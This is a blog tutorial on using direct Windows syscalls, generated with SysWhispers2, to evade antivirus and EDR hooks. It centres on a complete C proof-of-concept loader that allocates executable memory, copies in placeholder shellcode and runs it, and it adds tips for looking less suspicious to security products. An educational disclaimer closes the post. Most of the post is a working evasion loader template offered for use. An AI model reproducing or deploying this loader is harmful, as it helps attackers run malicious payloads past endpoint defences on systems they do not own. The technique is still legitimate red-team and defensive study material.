Direct Syscalls for AV Evasion

Before you read this post, make sure to check out my blog on Native API, as I’m using the same template here.

So, what is Direct Syscall?

In simple terms, Direct Syscall means invoking system calls directly, without relying on Windows Native APIs like NtCreateFile or NtOpenProcess. Instead of calling these functions through ntdll.dll, we use a custom assembly stub to make the syscall manually. This allows us to bypass user-mode hooks placed by antivirus or EDR solutions, since we’re not using the usual API path.

We basically tell the compiler, “I want to use this system call number directly,” and then pass control to our stub.

Writing our own assembly stub from scratch is very difficult, but I’ll try to create one in the future and make a dedicated post about it.

For now, we’ll use SysWhispers2 — a tool that makes the process much easier. With SysWhispers2, we just need to specify which API we want to use as a direct syscall, and it will generate the necessary files (header and source) for us automatically.

As I mentioned earlier, we’ll follow the same template used in the Native API shellcode execution post, but we’ll modify it to use direct syscalls instead.

In the Native API method, we used the following functions:

We’ll use the same system calls here, but with one small change — instead of RtlCopyMemory, we’ll use memcpy. That’s because RtlCopyMemory requires including the winternl.h header, which might be considered suspicious by some security solutions. Using memcpy from the standard C++ <string.h> header is a safer and cleaner alternative.

Since we’re already including the <string.h> header for memcpy, we only need to generate direct syscall stubs for the remaining two functions: NtAllocateVirtualMemory and NtFreeVirtualMemory.

We can generate the required header and source files using SysWhispers2 with the following syntax:

python3 syswhispers.py -f NtAllocateVirtualMemory,NtFreeVirtualMemory -a x64 -l masm --out-file syscalls

This will create the syscall.h and syscall.c files containing the assembly stubs and function prototypes for the specified APIs.

Proof of Concept

PAYLOAD

#include "syscalls.h"
#include <string.h>

int main() {
// Your shellcode goes here
unsigned char yellow[] = /* shellcode */;

void* exec = NULL;
SIZE_T size = sizeof(yellow);
NTSTATUS status;

// Allocate memory for the shellcode using direct syscall
status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, 0x3000, 0x40);
if (status != 0) return -1;

// Copy the shellcode to the allocated memory
memcpy(exec, yellow, sizeof(yellow));

// Execute the shellcode
((void(*)())exec)();

// Free the allocated memory
status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &size, MEM_RELEASE);

return 0;
}

Let’s start with the header files:

#include "syscalls.h"
#include <string.h>

We include syscalls.h, which was generated earlier using SysWhispers2. This header contains the direct syscall declarations we’ll use.
We also include string.h — this is necessary for the memcpy function, which we’ll use to copy the shellcode into memory.

int main() {
// Your shellcode goes here
unsigned char yellow[] = /* shellcode */;

void* exec = NULL;
SIZE_T size = sizeof(yellow);
NTSTATUS status;

In this part, we define our shellcode inside a byte array called yellow.

We then create a pointer exec, which will later point to the memory we allocate for executing the shellcode.

Next, we have a variable size which stores the size of the shellcode, and finally, a status variable of type NTSTATUS — this will store the return values from our system calls so we can check if they succeed or fail.

The rest of the code is straightforward — it’s almost the same as what we did in the Native API shellcode post, so make sure you’ve read that one before diving into this.

    // Allocate memory for the shellcode using direct syscall
    status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, 0x3000, 0x40);
    if (status != 0) return -1;

    // Copy the shellcode to the allocated memory
    memcpy(exec, yellow, sizeof(yellow));

    // Execute the shellcode
    ((void(*)())exec)();

    // Free the allocated memory
    status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &size, MEM_RELEASE);

    return 0;
}

Here’s what happens:

  • We allocate memory using NtAllocateVirtualMemory, and store the result in status.
  • Then we copy our shellcode into that memory using memcpy.
  • After that, we execute the shellcode with ((void(*)())exec)(); — this casts the memory address to a function pointer and runs it.
  • Once execution is done, we clean up by freeing the memory using NtFreeVirtualMemory.

Disclaimer

This post is for educational purposes only. The techniques shown here are intended to help security researchers and red teamers understand how modern detection mechanisms work and how attackers might attempt to bypass them.

Do not use this knowledge for unauthorized or malicious activities.
Always test in a controlled lab environment and with proper permissions.

Using these techniques irresponsibly may be illegal and could result in serious consequences.

Leave a Comment